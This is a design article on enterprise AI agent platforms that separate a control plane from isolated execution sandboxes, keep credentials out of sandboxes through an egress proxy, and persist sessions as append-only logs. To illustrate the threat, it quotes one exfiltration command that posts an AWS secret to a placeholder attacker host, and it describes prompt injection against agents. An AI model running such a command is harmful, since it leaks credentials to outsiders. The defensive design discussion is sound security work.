Separation of Brain and Hand: Boundary Governance — Overall Architecture Design for Enterprise Agent Platforms

In local terminal environments, developers have long grown accustomed to using Claude Code, Cursor, or various CLI-based agents for autonomous coding and system operations. The model’s inference loop runs on the same host as the operating system’s Shell, filesystem, and environment variables, driven directly through local process trees and in-memory dictionaries. This “brain and hand on the same machine” topology is extremely efficient on a personal workstation, because a single-host operating system naturally hides away the complexities of network fault domains, process isolation, and multi-tenant auditing.

When an enterprise attempts to roll this mechanism out to all employees and deploy it on production infrastructure, every underlying assumption of the local environment collapses: multiple employees triggering resource-intensive tasks simultaneously leads to machine resource contention and mutual interference; executing uncontrolled Shell scripts can destroy the shared host at any time; injecting cloud credentials and internal database tokens into environment variables means that the model — or a malicious prompt — can exfiltrate secrets at any moment via curl or printenv; HTTP gateways sever long connections after 60 to 120 seconds, leaving cross-network asynchronous commands in a dangling state; and most critically, agents are deeply bound to personal accounts, so when an employee leaves, all context, memory stores, and execution state are deprovisioned along with them.

An enterprise-grade Agent platform can neither simply reuse the single-machine Agent’s process model, nor devolve into a workflow canvas that only handles text conversations with no real execution environment. The core of an enterprise Agent platform is a “Decoupled Brain and Hand” architecture: a long-running, controlled Harness holds the session state machine and inference decisions (“the brain”), while an elastic, isolated Sandbox pool leases compute on demand to execute commands (“the hand”), with a clear system boundary established between the two.

Topology Conflicts Between Single-Node Terminals and Enterprise Multi-Tenant Environments

The fundamental difference between a single-node agent and a distributed enterprise Agent platform lies in whether the decision layer and execution layer cross security trust domains and network fault domains:

In enterprise scenarios, simply packaging a single-node agent into a Docker image and running it in the background immediately exposes two fatal flaws: first, dedicating one container per session makes compute costs and cold-start queuing untenable; second, if containers hold real credentials, a single privilege escalation or prompt injection attack within the sandbox exposes the entire internal network topology to risk.

To achieve production-grade viability, an enterprise platform must clearly delineate four core system boundaries in its overall architecture.

Boundary One: Decoupling the Control Plane from the Execution Plane (Harness and Sandbox Lifecycles)

In the “Decoupled Brain and Hand” architecture, the first core boundary is the separation of responsibilities between the Control Plane and the Data Plane:

• Control Plane (Harness): A long-running, highly available service cluster (API Gateway and Agent Workers). It drives the native asynchronous linear loop (async while-loop), holds inference context, applies execution policy filtering, performs context compaction, and suspends waiting during Human-in-the-Loop interactions. Control plane nodes are protected by multiple layers of firewalls and absolutely never execute untrusted arbitrary user code or external tool scripts.

• Execution Plane (Sandbox): On-demand, ephemeral compute units. The execution plane can be built on Kubernetes Pods (e.g., CubeSandbox) or MicroVMs (e.g., Firecracker). It receives commands dispatched by the control plane through a unified Execution API, runs build, test, network probing, or data cleansing scripts, and captures real-time stdout and exit codes.

Diagram: Decoupling the Control Plane from the Execution Plane — ephemeral compute leasing with cross-session persistent data

Diagram: Decoupling the Control Plane from the Execution Plane — ephemeral compute leasing with cross-session persistent data

A core principle strongly tied to this separation is the complete decoupling of the compute lifecycle from the data lifecycle:

• Compute Lifecycle (Ephemeral and Elastic): Sandbox containers are not permanently resident virtual machines. After a multi-round troubleshooting session or task completes, if no new commands arrive for an extended period, the sandbox instance can be automatically reclaimed or hibernated, releasing underlying CPU and memory resources. When the same session is awakened later, the platform can spin up a fresh container of the same specification.

• Data Lifecycle (Persistent and Shared): The developer’s working state (Git repositories, downloaded dependency caches, compiled artifacts, generated reports) must not be stored inside the container’s writable image layer. CubePlex mounts persistent volumes (PVC or Host Mount) at the /workspace path. When a sandbox instance is destroyed, rebuilt, or drifted to another physical node, the mounted persistent volume is automatically re-attached. When the Agent and team members open the workspace the following week, everything is still perfectly intact.

Boundary Two: Credential Delivery and Egress Security (Secret Exclusion and Edge Proxies)

The most common practice in traditional systems when providing third-party credentials (such as GitHub Personal Access Tokens, AWS AccessKeys, or internal enterprise API Tokens) to automated scripts is to inject plaintext secrets via environment variables (env) at container startup, and then apply log redaction on the backend system’s frontend console.

Log redaction is merely a visual defense — it does not constitute a security boundary. Inside the sandbox, any Python script or Bash command generated by the Agent can iterate through os.environ at any time to obtain all plaintext tokens. Once the model falls victim to prompt injection, or executes an untrusted dependency package with exfiltration logic, plaintext tokens can be leaked in an instant through a simple curl -X POST https://attacker.com -d "$AWS_SECRET".

CubePlex enforces a strict Secret Exclusion mechanism in its enterprise architecture:

Diagram: Secret Exclusion mechanism — placeholder injection and egress edge proxy

Diagram: Secret Exclusion mechanism — placeholder injection and egress edge proxy

Opaque Placeholder Injection: When the control plane dispatches environment variables to sandboxes, it never passes real secrets — only opaque reference identifiers (e.g., CUBEPLEX_SECRET_REF_8f9a2). Any process inside the sandbox, even if it prints env, can only retrieve meaningless hashed placeholders.

• Egress Network Policy Restrictions: Sandbox instances are configured with strict Kubernetes NetworkPolicies or underlying iptables rules. Outbound internet access is denied by default; only access to the platform control plane’s Secret Broker (egress proxy gateway) on specific ports is permitted.

• Real-Time Dynamic Edge Substitution: When a tool inside the sandbox initiates an HTTPS request to an external service, the traffic flows through the Secret Broker. The Broker looks up the protected secret vault (Vault / KMS) based on the placeholder, while simultaneously validating the destination domain (e.g., *.github.com) against a request path whitelist. Before the egress packet leaves the cluster boundary, the Broker dynamically replaces the placeholder with the real credential.

Across the entire call chain, real credentials never set foot inside the sandbox’s process tree. Even under the most aggressive privilege escalation probing of the sandbox, an attacker cannot obtain any valid production system credentials.

Boundary Three: State Machine and Long-Task Governance (Append-Only and Generation Fences)

In designs where the control plane holds the session state machine, many open-source frameworks (such as LangGraph and other graph state machine frameworks) employ a Full State Snapshot mechanism: after every graph node transition or tool response, the entire session’s full state (including hundreds of complete historical messages) is fully serialized and written to the database.

When a session progresses to 50–100 rounds of interaction, the per-step database write overhead of full serialization grows at O(N), cumulatively producing O(N^2) I/O amplification and database bloat. Frequent writes of large JSONB fields not only exhaust the database connection pool, but also make concurrent recovery after network failures extremely prone to dirty-write conflicts.

CubeLoop adopts a native async while-loop with an Append-Only persistence architecture at its foundation:

• O(1) Per-Step Database Writes: At each loop turn boundary, the control plane persists only the new messages, tool calls, and incremental delta events from that turn — never repeatedly overwriting history. This not only guarantees extremely high write throughput, but also naturally serves as a tamper-proof execution audit log.

• Deterministic Session Recovery: When a Worker node restarts due to a host failure, the control plane merely needs to pull the incremental event stream in sequence and quickly replay it in memory to losslessly recover the session context and execution state.

During long-running command execution, the control plane further establishes three governance contracts with the sandbox:

Command Execution Timeline
  0s ────── 60s ──────────────────────── 1h
  [  Foreground streaming output & blocking wait  ] │ [  Background async downgrade · long connection released  ]
                                                     │
                                                    ├─ Register Task ID / Command ID
                                                    ├─ Enable host verification (Todo stays Open)
                                                    ├─ Bind Generation ID (Generation Fence)
                                                    └─ Advance log cursor (durably acknowledged)

• 60-Second Segmentation Threshold: Commands stream normally for the first 60 seconds. Once execution exceeds 60 seconds, the system immediately detaches it on the control plane into a managed Background Task, releasing the client’s HTTP / SSE long connection to prevent reverse proxy read-timeout disconnection. The sandbox continues executing in the background, enjoying up to 1 hour of independent runtime.

• Anti-Fake-Completion Todo Contract: After a long background task is initiated, the model is highly prone to the hallucination of “the command has been dispatched, the task is all done” — and prematurely checking items off. CubeLoop’s TodoListMiddleware establishes a host callback with the sandbox. Until the background task actually terminates with exit code 0 and the log is durably persisted, the system refuses to allow the model to close the corresponding todo item, ensuring state consistency.

• Generation Fence: Cross-network task cancellation and retry is one of the most race-condition-prone blind spots in distributed systems. If a network fluctuation triggers a user or frontend-initiated retry, the old task’s Stop signal may arrive after network congestion, falsely killing the newly launched task process. CubePlex issues globally monotonically increasing Generation IDs on the control plane; the sandbox strictly validates the generation when handling signals, eliminating cross-network false-kill incidents entirely.

Boundary Four: Organizational Collaboration and Asset Accumulation (The Entity Form of Workspaces)

The most common misunderstanding of “team agents” in the market is reducing them to “create a big group chat, pull in all team members, and talk to the same bot.”

In a large group chat, multiple members’ concurrent requests are intermingled, and the context is rapidly polluted by irrelevant chatter. More seriously, if the underlying sandbox is reused, Member A running tests while Member B triggers a git reset --hard will directly destroy the entire working state.

CubePlex proposes an architectural organizational model centered on the Workspace as a shared team asset entity:

• The Agent is a shared digital colleague within the Workspace: The Agent is not created or destroyed alongside any particular employee’s personal chat window. At the Workspace level, it has a controlled Persona, a team-shared memory store, and security-team-approved Skills and MCP tool sets. Team members can collaborate simply by joining. When an employee departs, all task records they participated in and the business knowledge the Agent has accumulated remain in the Workspace as organizational assets.

• Conversation Form and Sandbox Binding Strategy: 1:1 Private Chat: Members conduct independent private troubleshooting or code drafting with the Agent, bound by default to a personal dedicated workspace sandbox. Group Chat: Suitable for low-privilege simple Q&A and status broadcasts; no write-capable sandbox is mounted by default. Multi-Task Topic Container (Topic Topology): For real business challenges (e.g., “2026-Q3 Payment System Performance Troubleshooting”), teams open a Topic session under the Workspace. Topics support multi-user collaboration and session branching, and are assigned a dedicated Topic Sandbox, ensuring complex engineering tasks enjoy exclusive compute environments and mounted volumes, completely eliminating concurrent interference.

Enterprise Agent Platform — Full Architecture Overview

Consolidating the four core system boundaries described above, the end-to-end production architecture topology of an enterprise Agent platform is as follows:

Diagram: Enterprise Agent Platform overall architecture topology

Diagram: Enterprise Agent Platform overall architecture topology

Access & Interaction Layer: Supports enterprise IM (Feishu / Slack / WeCom) cards and a Web collaboration console. Enterprise SSO single sign-on, RBAC role-based permission resolution, and long-lived streaming connection management are handled through a unified API Gateway.

• Controlled Control Plane (Harness): Runs persistently as the brain. Holds the async while-loop linear session state machine with Append-Only checkpoint persistence; integrates an LLM inference scheduler, a 20k-character pre-flight interceptor, and a context compaction component; processes high-risk tool approval cards through a HITL engine; holds the long-task coordinator and Generation Fence.

• Credential & Egress Governance Plane (Secret Broker): A firewall layer established between the control plane and the external network boundary. Integrates with the enterprise Vault / KMS, managing opaque placeholders for sandbox environment variables. Serves as the sole egress gateway for sandboxes, performing destination host and request header whitelist validation at the edge, and dynamically injecting real tokens.

• Elastic Execution Sandbox Pool (Data Plane): Provides multi-tenant isolated compute via Kubernetes Pods or MicroVMs. Leases are allocated on demand through a Sandbox Lease Manager. Sandboxes run read-only images with persistent volumes mounted. A managed background task runner handles smooth timeout degradation, stdout collection, and log cursor advancement.

• Persistence & Team Asset Layer: Independent persistent storage volumes (PVC / Host Mount) provide sandboxes with cross-session mounts of code and working state. The Workspace accumulates unified Personas, team-shared memory, organization-approved MCP connectors, and tamper-proof OpenTelemetry audit traces.

Implementation Checklist for Architecture Governance

When selecting, building in-house, or deploying Agent infrastructure within an enterprise, use the following 6 criteria to evaluate whether it possesses production-grade architectural governance capabilities:

• Is the brain physically separated from the hand? Are the control plane Harness and code execution sandboxes split across independent network fault domains and host machines?

• Are compute and data decoupled? After sandbox containers are destroyed and rebuilt, can the workspace’s files and installed dependencies be fully preserved across sessions?

• Does credential delivery exclude plaintext? Can processes inside the sandbox directly read real third-party tokens via printenv? Is there a unified edge Broker handling domain whitelist enforcement and credential substitution on egress?

• Is the state machine storage linearly stable? At 100 rounds of session interaction, is the per-step database write overhead a stable O(1), or does it balloon into O(N) from full snapshot bloat?

• Do long tasks have host contracts? When time-consuming commands transition to the background, can the system prevent reverse proxy timeouts? Can it eliminate the model’s fake-completion hallucination and guard against cross-network retry false-kills?

• Do collaboration entities belong to the team? Are the Agent and its execution artifacts bound to a personal chat window, or do they operate as persistent Workspace assets, independent of any individual account?

The core purpose of enterprises introducing AI Agents is to bring automation into the core execution chain of business systems. Only by moving beyond the illusion of single-node terminal convenience and establishing the four engineering boundaries — physical isolation, secret exclusion, incremental state, and team entities — can agents evolve from experimental scripts on a developer’s desk into secure, controlled, and highly available enterprise-grade digital workforces.